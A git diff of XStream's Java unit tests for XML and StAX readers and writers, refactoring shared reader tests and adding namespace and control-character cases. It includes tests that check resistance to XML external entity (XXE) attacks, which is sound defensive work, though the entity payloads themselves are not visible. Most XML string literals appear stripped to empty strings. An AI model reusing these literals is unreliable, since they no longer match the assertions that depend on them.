a/b[2]/aah + + assertEquals(3, reader.getLevel()); + assertEquals("aah", reader.getNodeName()); + assertFalse(reader.hasMoreChildren()); + + reader.moveUp(); // a/b[2] + + assertEquals(2, reader.getLevel()); + assertFalse(reader.hasMoreChildren()); + + reader.moveUp(); // a + assertEquals(1, reader.getLevel()); + + assertFalse(reader.hasMoreChildren()); + + reader.close(); + } + + public void testAttributesCanBeFetchedFromTags() throws Exception { + final HierarchicalStreamReader reader = createReader("" + + "" + + " " + + ""); // /hello + + assertEquals("1", reader.getAttribute("one")); + assertEquals("2", reader.getAttribute("two")); + assertNull(reader.getAttribute("three")); + + reader.moveDown(); // /hello/child + assertNull(reader.getAttribute("one")); + assertNull(reader.getAttribute("two")); + assertEquals("3", reader.getAttribute("three")); + + reader.close(); + } + + public void testKeepsWhitespaceAroundText() throws Exception { + final HierarchicalStreamReader reader = createReader(" hello world "); + + assertEquals(" hello world ", reader.getValue()); + reader.close(); + } + + public void testReturnsLastResultForHasMoreChildrenIfCalledRepeatedlyWithoutMovingNode() throws Exception { + final HierarchicalStreamReader reader = createReader(""); + + assertEquals("row", reader.getNodeName()); + assertTrue(reader.hasMoreChildren()); // this is OK + assertTrue(reader.hasMoreChildren()); // this fails + reader.close(); + } + + public void testExposesAttributesKeysAndValuesByIndex() throws Exception { + final HierarchicalStreamReader reader = createReader(""); + + assertEquals(3, reader.getAttributeCount()); + + assertEquals("hello", reader.getAttributeName(0)); + assertEquals("a", reader.getAttributeName(1)); + assertEquals("c", reader.getAttributeName(2)); + + assertEquals("world", reader.getAttribute(0)); + assertEquals("b", reader.getAttribute(1)); + assertEquals("d", reader.getAttribute(2)); + + reader.moveDown(); + assertEquals("empty", reader.getNodeName()); + assertEquals(0, reader.getAttributeCount()); + reader.close(); + } + + public void testExposesAttributesKeysAsIterator() throws Exception { + final HierarchicalStreamReader reader = createReader(""); + + final Set expected = new HashSet<>(); + expected.add("hello"); + expected.add("a"); + expected.add("c"); + + final Set actual = new HashSet<>(); + Iterator iterator; + + iterator = reader.getAttributeNames(); + while (iterator.hasNext()) { + actual.add(iterator.next()); + } + assertEquals(expected, actual); + + // again, to check iteration is repeatable + iterator = reader.getAttributeNames(); + while (iterator.hasNext()) { + actual.add(iterator.next()); + } + assertEquals(expected, actual); + reader.close(); + } + + public void testAllowsValueToBeReadWithoutDisturbingChildren() throws Exception { + final HierarchicalStreamReader reader = createReader("text2"); // at: + // /root + + assertEquals("root", reader.getNodeName()); + assertEquals("", reader.getValue()); + assertTrue(reader.hasMoreChildren()); + + reader.moveDown(); // at: /root/child + assertEquals("child", reader.getNodeName()); + assertEquals(null, reader.getAttribute("something")); + assertEquals("", reader.getValue()); + + assertFalse(reader.hasMoreChildren()); // <--- This is an awkward one for pull parsers + + reader.moveUp(); // at: /root + + assertTrue(reader.hasMoreChildren()); + + reader.moveDown(); // at: /root/sibling + assertEquals("sibling", reader.getNodeName()); + assertEquals("text2", reader.getValue()); + assertFalse(reader.hasMoreChildren()); + reader.moveUp(); // at: /root + + assertFalse(reader.hasMoreChildren()); + reader.close(); + } + + public void testExposesTextValueOfCurrentElementButNotChildren() throws Exception { + final HierarchicalStreamReader reader = createReader("helloFNARR"); + + assertEquals("hello", reader.getValue()); + reader.moveDown(); + assertEquals("FNARR", reader.getValue()); + reader.moveUp(); + reader.close(); + } + + public void testCanReadLineFeedInString() throws Exception { + final HierarchicalStreamReader reader = createReader("a\nb"); + assertEquals("a\nb", reader.getValue()); + reader.close(); + } + + public void testCanReadEncodedAttribute() throws Exception { + final HierarchicalStreamReader reader = createReader(""); + assertEquals("value", reader.getAttribute("_attr")); + reader.close(); + } + + public void testCanReadAttributeWithEncodedWhitespace() throws Exception { + final HierarchicalStreamReader reader = createReader(""); + assertEquals(" A B C\t\n\r ", reader.getAttribute("attr")); + reader.close(); + } + + public void testCanSkipStructures() throws Exception { + final HierarchicalStreamReader reader = createReader( + "OK"); + reader.moveDown(); + reader.moveDown(); + assertEquals("c", reader.getNodeName()); + assertEquals(3, reader.getLevel()); + + reader.moveUp(); + assertEquals(2, reader.getLevel()); + reader.moveUp(); + assertEquals(1, reader.getLevel()); + + reader.moveDown(); + assertEquals("b2", reader.getNodeName()); + assertEquals(2, reader.getLevel()); + + reader.moveUp(); + assertEquals(1, reader.getLevel()); + + reader.moveDown(); + assertEquals("b3", reader.getNodeName()); + assertEquals(2, reader.getLevel()); + assertEquals("OK", reader.getValue()); + + reader.moveUp(); + assertEquals(1, reader.getLevel()); + + reader.close(); + } + + public void testNullCharacterInValue() throws Exception { + final HierarchicalStreamReader reader = createReader("X�Y"); + assertEquals("X\u0000Y", reader.getValue()); + reader.close(); + } +} diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractStaxReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractStaxReaderTest.java new file mode 100644 index 000000000..c443c2cea --- /dev/null +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractStaxReaderTest.java @@ -0,0 +1,138 @@ +/* + * Copyright (C) 2019 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 24. February 2019 by Joerg Schaible + */ +package com.thoughtworks.xstream.io.xml; + +import java.io.StringReader; + +import javax.xml.namespace.QName; + +import com.thoughtworks.xstream.io.HierarchicalStreamReader; + + +/** + * @author Jörg Schaible + */ +public abstract class AbstractStaxReaderTest extends AbstractXMLReaderTest { + /** + * Create the StaxDriver of the current implementation. + * + * @param qnameMap the namespace mapping + * @return the new StAX driver + */ + protected abstract StaxDriver createDriver(QNameMap qnameMap); + + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { + return createReader(new QNameMap(), xml); + } + + private final HierarchicalStreamReader createReader(final QNameMap qnameMap, final String xml) { + return createDriver(qnameMap).createReader(new StringReader(xml)); + } + + public void testUsingDifferentNamespacesSameAliases() { + final QNameMap qnameMap = new QNameMap(); + qnameMap.setDefaultNamespace("uri:outer"); + qnameMap.registerMapping(new QName("uri:inner:string", "item"), "aStr"); + qnameMap.registerMapping(new QName("uri:inner:int", "item"), "anInt"); + + final String xml = "" // + + "" + + /**/ "foo" + + /**/ "42" + + /**/ "" + + /**//**/ "YField" + + /**/ "" + + ""; + + try (final HierarchicalStreamReader xmlReader = createReader(qnameMap, xml)) { + assertEquals("handler", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("aStr", xmlReader.getNodeName()); + assertEquals("foo", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveDown(); + assertEquals("anInt", xmlReader.getNodeName()); + assertEquals("42", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveDown(); + assertEquals("protocol", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("yField", xmlReader.getNodeName()); + assertEquals("YField", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveUp(); + xmlReader.moveUp(); + } + } + + public void testNamespacesAtRoot() { + final QNameMap qnameMap = new QNameMap(); + qnameMap.registerMapping(new QName("uri:outer", "root"), "root"); + qnameMap.registerMapping(new QName("uri:inner:string", "item"), "aStr"); + qnameMap.registerMapping(new QName("uri:inner:int", "item"), "anInt"); + + final String xml = "" // + + "" + + /**/ "foo" + + /**/ "42" + + /**/ "?" + + ""; + + try (final HierarchicalStreamReader xmlReader = createReader(qnameMap, xml)) { + assertEquals("root", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("aStr", xmlReader.getNodeName()); + assertEquals("foo", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveDown(); + assertEquals("anInt", xmlReader.getNodeName()); + assertEquals("42", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveDown(); + assertEquals("y", xmlReader.getNodeName()); + assertEquals("?", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveUp(); + } + } + + public void testPrefixDefinitionsAreIgnoredWhenReadingXML() { + final QNameMap qnameMap = new QNameMap(); + qnameMap.registerMapping(new QName("uri:outer", "root", "A"), "root"); + qnameMap.registerMapping(new QName("uri:inner:string", "item", "B"), "aStr"); + qnameMap.registerMapping(new QName("uri:inner:int", "item", "C"), "anInt"); + + final String xml = "" // + + "" + + /**/ "foo" + + /**/ "42" + + /**/ "?" + + ""; + + try (final HierarchicalStreamReader xmlReader = createReader(qnameMap, xml)) { + assertEquals("root", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("aStr", xmlReader.getNodeName()); + assertEquals("foo", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveDown(); + assertEquals("anInt", xmlReader.getNodeName()); + assertEquals("42", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveDown(); + assertEquals("y", xmlReader.getNodeName()); + assertEquals("?", xmlReader.getValue()); + xmlReader.moveUp(); + xmlReader.moveUp(); + } + } +} diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractStaxWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractStaxWriterTest.java index 2f4721012..9dcc2a6ba 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractStaxWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractStaxWriterTest.java @@ -1,43 +1,41 @@ /* - * Copyright (C) 2007, 2009, 2011 XStream Committers. + * Copyright (C) 2007, 2009, 2011, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. November 2007 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; +import java.io.StringWriter; + +import javax.xml.namespace.QName; + import com.thoughtworks.acceptance.someobjects.X; import com.thoughtworks.acceptance.someobjects.Y; import com.thoughtworks.xstream.XStream; -import org.apache.oro.text.perl.Perl5Util; - -import javax.xml.namespace.QName; - -import java.io.StringWriter; public abstract class AbstractStaxWriterTest extends AbstractXMLWriterTest { protected StringWriter buffer; - protected Perl5Util perlUtil; protected StaxDriver staxDriver; private X testInput; - + protected abstract String getXMLHeader(); protected abstract StaxDriver getStaxDriver(); + @Override protected void setUp() throws Exception { super.setUp(); staxDriver = getStaxDriver(); staxDriver.setRepairingNamespace(false); buffer = new StringWriter(); writer = staxDriver.createWriter(buffer); - perlUtil = new Perl5Util(); testInput = new X(); testInput.anInt = 9; @@ -47,25 +45,39 @@ protected void setUp() throws Exception { } public void testNamespacedXmlWithPrefix() throws Exception { - QNameMap qnameMap = new QNameMap(); - QName qname = new QName("http://foo.com", "alias", "foo"); + final QNameMap qnameMap = new QNameMap(); + final QName qname = new QName("http://foo.com", "alias", "foo"); qnameMap.registerMapping(qname, X.class); - String expected = "zzz9ooo"; + final String expected = "" // + + "" + + /**/ "zzz" + + /**/ "9" + + /**/ "" + + /**//**/ "ooo" + + /**/ "" + + ""; marshalWithBothRepairingModes(qnameMap, expected); } public void testNamespacedXmlWithoutPrefix() throws Exception { - QNameMap qnameMap = new QNameMap(); - QName qname = new QName("http://foo.com", "bar"); + final QNameMap qnameMap = new QNameMap(); + final QName qname = new QName("http://foo.com", "bar"); qnameMap.registerMapping(qname, X.class); - String expected = "zzz9ooo"; + final String expected = "" // + + "" + + /**/ "zzz" + + /**/ "9" + + /**/ "" + + /**//**/ "ooo" + + /**/ "" + + ""; marshalWithBothRepairingModes(qnameMap, expected); } public void testNamespacedXmlWithPrefixTwice() throws Exception { - QNameMap qnameMap = new QNameMap(); + final QNameMap qnameMap = new QNameMap(); QName qname = new QName("http://foo.com", "alias", "foo"); qnameMap.registerMapping(qname, X.class); @@ -75,31 +87,59 @@ public void testNamespacedXmlWithPrefixTwice() throws Exception { qname = new QName("http://bar.com", "alias2", "bar"); qnameMap.registerMapping(qname, "anInt"); - String expected = "zzz9ooo"; + final String expected = "" // + + "" + + /**/ "zzz" + + /**/ "9" + + /**/ "" + + /**//**/ "ooo" + + /**/ "" + + ""; + marshalWithBothRepairingModes(qnameMap, expected); + } + + public void testNamespacedXmlWithSameAlias() throws Exception { + final QNameMap qnameMap = new QNameMap(); + qnameMap.setDefaultNamespace("http://foobar.com"); + + QName qname = new QName("http://foo.com", "alias", "foo"); + qnameMap.registerMapping(qname, "aStr"); + + qname = new QName("http://bar.com", "alias", "bar"); + qnameMap.registerMapping(qname, "anInt"); + + final String expected = "" // + + "" + + /**/ "zzz" + + /**/ "9" + + /**/ "" + + /**//**/ "ooo" + + /**/ "" + + ""; marshalWithBothRepairingModes(qnameMap, expected); } - protected void marshalWithBothRepairingModes(QNameMap qnameMap, String expected) { + protected void marshalWithBothRepairingModes(final QNameMap qnameMap, final String expected) { marshalNonRepairing(qnameMap, expected); marshalRepairing(qnameMap, expected); } - protected void marshalRepairing(QNameMap qnameMap, String expected) { + protected void marshalRepairing(final QNameMap qnameMap, final String expected) { marshall(qnameMap, true); assertXmlProducedIs(expected); } - protected void marshalNonRepairing(QNameMap qnameMap, String expected) { + protected void marshalNonRepairing(final QNameMap qnameMap, final String expected) { marshall(qnameMap, false); assertXmlProducedIs(expected); } - protected void marshall(QNameMap qnameMap, boolean repairNamespaceMode) { + protected void marshall(final QNameMap qnameMap, final boolean repairNamespaceMode) { staxDriver.setRepairingNamespace(repairNamespaceMode); staxDriver.setQnameMap(qnameMap); - XStream xstream = new XStream(staxDriver); + final XStream xstream = new XStream(staxDriver); buffer = new StringWriter(); xstream.toXML(testInput, buffer); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractXMLReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractXMLReaderTest.java index 194e930dd..29c026844 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractXMLReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractXMLReaderTest.java @@ -1,80 +1,26 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2011, 2012, 2013, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2011, 2012, 2013, 2015, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; import com.thoughtworks.xstream.io.HierarchicalStreamReader; -import junit.framework.TestCase; - -import java.util.HashSet; -import java.util.Iterator; -import java.util.Set; - -public abstract class AbstractXMLReaderTest extends TestCase { - - // factory method - protected abstract HierarchicalStreamReader createReader(String xml) throws Exception; - - public void testStartsAtRootTag() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); - assertEquals("hello", xmlReader.getNodeName()); - } - - public void testCanNavigateDownChildTagsByIndex() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); - - assertEquals("a", xmlReader.getNodeName()); - - assertTrue(xmlReader.hasMoreChildren()); - - xmlReader.moveDown(); // /a/b - - assertEquals("b", xmlReader.getNodeName()); - - assertTrue(xmlReader.hasMoreChildren()); - - xmlReader.moveDown(); // a/b/ooh - assertEquals("ooh", xmlReader.getNodeName()); - assertFalse(xmlReader.hasMoreChildren()); - xmlReader.moveUp(); // a/b - - assertFalse(xmlReader.hasMoreChildren()); - - xmlReader.moveUp(); // /a - - assertTrue(xmlReader.hasMoreChildren()); - - xmlReader.moveDown(); // /a/b[2] - - assertEquals("b", xmlReader.getNodeName()); - - assertTrue(xmlReader.hasMoreChildren()); - - xmlReader.moveDown(); // a/b[2]/aah - assertEquals("aah", xmlReader.getNodeName()); - assertFalse(xmlReader.hasMoreChildren()); +public abstract class AbstractXMLReaderTest extends AbstractReaderTest { - xmlReader.moveUp(); // a/b[2] - - assertFalse(xmlReader.hasMoreChildren()); - - xmlReader.moveUp(); // a - - assertFalse(xmlReader.hasMoreChildren()); - } + public static String XML_1_1_HEADER = ""; public void testChildTagsCanBeMixedWithOtherNodes() throws Exception { - HierarchicalStreamReader xmlReader = createReader(" getValue "); + final HierarchicalStreamReader xmlReader = createReader( + " getValue "); assertTrue(xmlReader.hasMoreChildren()); xmlReader.moveDown(); @@ -87,28 +33,12 @@ public void testChildTagsCanBeMixedWithOtherNodes() throws Exception { xmlReader.moveUp(); assertFalse(xmlReader.hasMoreChildren()); - } - - public void testAttributesCanBeFetchedFromTags() throws Exception { - HierarchicalStreamReader xmlReader = createReader("" + - "" + - " " + - ""); // /hello - - assertEquals("1", xmlReader.getAttribute("one")); - assertEquals("2", xmlReader.getAttribute("two")); - assertNull(xmlReader.getAttribute("three")); - - xmlReader.moveDown(); // /hello/child - assertNull(xmlReader.getAttribute("one")); - assertNull(xmlReader.getAttribute("two")); - assertEquals("3", xmlReader.getAttribute("three")); - + xmlReader.close(); } public void testTextCanBeExtractedFromTag() throws Exception { - HierarchicalStreamReader xmlReader = createReader( - "some getValue!"); + final HierarchicalStreamReader xmlReader = createReader( + "some getValue!"); xmlReader.moveDown(); assertEquals("some getValue!", xmlReader.getValue()); @@ -117,159 +47,120 @@ public void testTextCanBeExtractedFromTag() throws Exception { xmlReader.moveDown(); assertEquals("more&&more;", xmlReader.getValue()); xmlReader.moveUp(); - } - - public void testDoesNotIgnoreWhitespaceAroundText() throws Exception { - HierarchicalStreamReader xmlReader = createReader(" hello world "); - - assertEquals(" hello world ", xmlReader.getValue()); + xmlReader.close(); } public void testReturnsEmptyStringForEmptyTags() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); + final HierarchicalStreamReader xmlReader = createReader(""); - String text = xmlReader.getValue(); + final String text = xmlReader.getValue(); assertNotNull(text); assertEquals("", text); + xmlReader.close(); } - public void testReturnsLastResultForHasMoreChildrenIfCalledRepeatedlyWithoutMovingNode() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); - - assertEquals("row", xmlReader.getNodeName()); - assertTrue(xmlReader.hasMoreChildren()); // this is OK - assertTrue(xmlReader.hasMoreChildren()); // this fails + public void testCanReadCDATAWithEmbeddedTags() throws Exception { + final String content = "the content"; + final HierarchicalStreamReader xmlReader = createReader(""); + assertEquals(content, xmlReader.getValue()); + xmlReader.close(); } - public void testExposesAttributesKeysAndValuesByIndex() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); - - assertEquals(3, xmlReader.getAttributeCount()); - - assertEquals("hello", xmlReader.getAttributeName(0)); - assertEquals("a", xmlReader.getAttributeName(1)); - assertEquals("c", xmlReader.getAttributeName(2)); - - assertEquals("world", xmlReader.getAttribute(0)); - assertEquals("b", xmlReader.getAttribute(1)); - assertEquals("d", xmlReader.getAttribute(2)); - - xmlReader.moveDown(); - assertEquals("empty", xmlReader.getNodeName()); - assertEquals(0, xmlReader.getAttributeCount()); + public void testIsXXEVulnerableWithExternalGeneralEntity() throws Exception { + final HierarchicalStreamReader xmlReader = createReader("" + + "\n" + + "\n" + + "\n" + // +"\n" + // +"\n" + + "]>&content;"); + assertEquals("", xmlReader.getValue()); + xmlReader.close(); } - public void testExposesAttributesKeysAsIterator() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); - - Set expected = new HashSet(); - expected.add("hello"); - expected.add("a"); - expected.add("c"); - - Set actual = new HashSet(); - Iterator iterator; - - iterator = xmlReader.getAttributeNames(); - while(iterator.hasNext()) { - actual.add(iterator.next()); - } - assertEquals(expected, actual); - - // again, to check iteration is repeatable - iterator = xmlReader.getAttributeNames(); - while(iterator.hasNext()) { - actual.add(iterator.next()); - } - assertEquals(expected, actual); + public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { + final HierarchicalStreamReader xmlReader = createReader("" + + "\n" + + "\n" + + "\n" + // +"\n" + // +"\n" + + "%content;\n" + + "]>test"); + assertEquals("test", xmlReader.getValue()); + xmlReader.close(); } - public void testAllowsValueToBeReadWithoutDisturbingChildren() throws Exception { - HierarchicalStreamReader xmlReader - = createReader("text2"); // at: /root - - assertEquals("root", xmlReader.getNodeName()); - assertEquals("", xmlReader.getValue()); - assertTrue(xmlReader.hasMoreChildren()); - - xmlReader.moveDown(); // at: /root/child - assertEquals("child", xmlReader.getNodeName()); - assertEquals(null, xmlReader.getAttribute("something")); - assertEquals("", xmlReader.getValue()); - - assertFalse(xmlReader.hasMoreChildren()); // <--- This is an awkward one for pull parsers - - xmlReader.moveUp(); // at: /root + // valid chars of Java names: sharp s, auml, ash, omega, cyrillic D, runic W, euro + private final static String specialCharsInJavaNames = "\u00df\u00e4\u00e6\u03a9\u0414\u16a5\u20ac"; - assertTrue(xmlReader.hasMoreChildren()); - - xmlReader.moveDown(); // at: /root/sibling - assertEquals("sibling", xmlReader.getNodeName()); - assertEquals("text2", xmlReader.getValue()); - assertFalse(xmlReader.hasMoreChildren()); - xmlReader.moveUp(); // at: /root - - assertFalse(xmlReader.hasMoreChildren()); + protected String getSpecialCharsInJavaNamesForXml10() { + return specialCharsInJavaNames; } - public void testExposesTextValueOfCurrentElementButNotChildren() throws Exception { - HierarchicalStreamReader xmlReader - = createReader("helloFNARR"); - - assertEquals("hello", xmlReader.getValue()); - xmlReader.moveDown(); - assertEquals("FNARR", xmlReader.getValue()); + protected String getSpecialCharsInJavaNamesForXml11() { + return specialCharsInJavaNames; } - public void testCanReadLineFeedInString() throws Exception { - HierarchicalStreamReader xmlReader = createReader("a\nb"); - assertEquals("a\nb", xmlReader.getValue()); + protected final String getSpecialCharsInJavaNamesForXml10_4th() { + return specialCharsInJavaNames.substring(0, specialCharsInJavaNames.length() - 2); } - public void testCanReadEncodedAttribute() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); - assertEquals("value", xmlReader.getAttribute("_attr")); + public void testSupportsFieldsWithSpecialChars() throws Exception { + final StringBuilder sb = new StringBuilder(); + final String specialCharsInJavaNames = getSpecialCharsInJavaNamesForXml10(); + for (final char c : specialCharsInJavaNames.toCharArray()) { + try (final HierarchicalStreamReader xmlReader = createReader(String.format("<%c>Yes", c, c))) { + assertEquals("Yes", xmlReader.getValue()); + sb.append(c); + } catch (final Exception e) { + ; // failed + } + } + assertEquals(specialCharsInJavaNames, sb.toString()); + } + + public void testSupportsFieldsWithSpecialCharsInXml11() throws Exception { + final StringBuilder sb = new StringBuilder(); + final String specialCharsInJavaNames = getSpecialCharsInJavaNamesForXml11(); + for (final char c : specialCharsInJavaNames.toCharArray()) { + try (final HierarchicalStreamReader xmlReader = createReader(String + .format("%s<_%c>Yes", XML_1_1_HEADER, c, c))) { + assertEquals("Yes", xmlReader.getValue()); + sb.append(c); + } catch (final Exception e) { + ; // failed + } + } + assertEquals(specialCharsInJavaNames, sb.toString()); } - public void testCanReadAttributeWithEncodedWhitespace() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); - assertEquals(" A B C\t\n\r ", xmlReader.getAttribute("attr")); + public void testNonUnicodeCharacterInValue() throws Exception { + final HierarchicalStreamReader xmlReader = createReader("￿"); + assertEquals("\uffff", xmlReader.getValue()); + xmlReader.close(); } - public void testCanReadCDATAWithEmbeddedTags() throws Exception { - String content = "the content"; - HierarchicalStreamReader xmlReader = createReader(""); + public void testNonUnicodeCharacterInCDATA() throws Exception { + final String content = "\uffff"; + final HierarchicalStreamReader xmlReader = createReader(""); assertEquals(content, xmlReader.getValue()); + xmlReader.close(); } - - public void testIsXXEVulnerableWithExternalGeneralEntity() throws Exception { - HierarchicalStreamReader xmlReader = createReader("" - + "\n" - +"\n" - +"\n" -// +"\n" -// +"\n" - +"]>&content;"); - assertEquals("", xmlReader.getValue()); - } - - public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { - HierarchicalStreamReader xmlReader = createReader("" - + "\n" - +"\n" - +"\n" -// +"\n" -// +"\n" - +"%content;\n" - +"]>test"); - assertEquals("test", xmlReader.getValue()); + + public void testISOControlCharactersInValue() throws Exception { + final HierarchicalStreamReader xmlReader = createReader("hello-–world"); + assertEquals("hello\u0004-\u0096world", xmlReader.getValue()); + xmlReader.close(); } - - // TODO: See XSTR-473 - public void todoTestCanReadNullValueInString() throws Exception { - HierarchicalStreamReader xmlReader = createReader(""); - assertEquals("\u0000", xmlReader.getValue()); + + public void testArbitraryProcessingInstructionIsIgnored() throws Exception { + final HierarchicalStreamReader reader = createReader("? > ignore ?>XStream"); + assertEquals("XStream", reader.getValue()); + reader.close(); } + + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractXMLWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractXMLWriterTest.java index 8cad0b9ec..45dc5f5ab 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractXMLWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/AbstractXMLWriterTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 05. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; @@ -15,25 +15,13 @@ import junit.framework.TestCase; + public abstract class AbstractXMLWriterTest extends TestCase { protected HierarchicalStreamWriter writer; protected abstract void assertXmlProducedIs(String expected); - // String.replaceAll is JDK 1.4 - protected String replaceAll(String s, final String occurance, final String replacement) { - final int len = occurance.length(); - final int inc = len - replacement.length(); - int i = -inc; - final StringBuffer buff = new StringBuffer(s); - // StringBuffer has no indexOf in JDK 1.3 - while((i = buff.toString().indexOf(occurance, i + inc)) >= 0) { - buff.replace(i, i + len, replacement); - } - return buff.toString(); - } - public void testProducesXmlElements() { writer.startNode("hello"); writer.setValue("world"); @@ -92,7 +80,8 @@ public void testAttributesAreResettedForNewNode() { writer.endNode(); writer.endNode(); - assertXmlProducedIs(""); + assertXmlProducedIs( + ""); } public void testEscapesXmlUnfriendlyCharacters() { @@ -109,10 +98,11 @@ public void testEscapesWhitespaceCharactersInValue() { writer.setValue(" one\ntwo\rthree\r\nfour\n\r five\tsix "); writer.endNode(); - assertXmlProducedIs(" one\n" - + "two three \n" - + "four\n" - + " five\tsix "); + assertXmlProducedIs("" // + + " one\n" + + "two three \n" + + "four\n" + + " five\tsix "); } public void testEscapesWhitespaceCharactersInAttribute() { diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxReaderTest.java index 1f66b16ce..d62557b60 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxReaderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2011, 2015 XStream Committers. + * Copyright (C) 2011, 2015, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -10,20 +10,13 @@ */ package com.thoughtworks.xstream.io.xml; -import java.io.StringReader; - -import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; +public class BEAStaxReaderTest extends AbstractStaxReaderTest { -public class BEAStaxReaderTest extends AbstractXMLReaderTest { - - private final HierarchicalStreamDriver driver = new BEAStaxDriver(); - - // factory method @Override - protected HierarchicalStreamReader createReader(final String xml) throws Exception { - return driver.createReader(new StringReader(xml)); + protected StaxDriver createDriver(final QNameMap qnameMap) { + return new BEAStaxDriver(qnameMap); } @Override @@ -32,5 +25,27 @@ public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { // super.testIsXXEVulnerableWithExternalParameterEntity(); } + @Override + public void testNullCharacterInValue() throws Exception { + // not possible, null value is invalid in XML + } + + @Override + public void testSupportsFieldsWithSpecialCharsInXml11() throws Exception { + // no support for XML 1.1 + } + + @Override + public void testISOControlCharactersInValue() throws Exception { + // not possible, only supported in XML 1.1 + } + + public void testISOControlCharactersInCDATA() throws Exception { + final String content = "hello\u0004-\u0096world"; + final HierarchicalStreamReader xmlReader = createReader(""); + assertEquals(content, xmlReader.getValue()); + xmlReader.close(); + } + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxWriterTest.java index e6d118108..771dc1f9b 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/BEAStaxWriterTest.java @@ -1,37 +1,47 @@ /* - * Copyright (C) 2007, 2008, 2009, 2011 XStream Committers. + * Copyright (C) 2007, 2008, 2009, 2011, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. November 2007 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; +import java.util.Arrays; + + public final class BEAStaxWriterTest extends AbstractStaxWriterTest { + @Override protected void assertXmlProducedIs(String expected) { - expected = perlUtil.substitute("s# xmlns=\"\"##g", expected); - expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2>#g", expected); - expected = replaceAll(expected, " ", " "); - expected = replaceAll(expected, " ", " "); - expected = replaceAll(expected, " ", " "); + expected = expected.replaceAll(" xmlns=\"\"", ""); + expected = expected.replaceAll("<(\\w+)([^>]*)/>", "<$1$2>"); + expected = expected.replace(" ", " "); + expected = expected.replace(" ", " "); + expected = expected.replace(" ", " "); expected = getXMLHeader() + expected; assertEquals(expected, buffer.toString()); } + @Override protected String getXMLHeader() { return ""; } + @Override protected StaxDriver getStaxDriver() { return new BEAStaxDriver(); } - protected void marshalRepairing(QNameMap 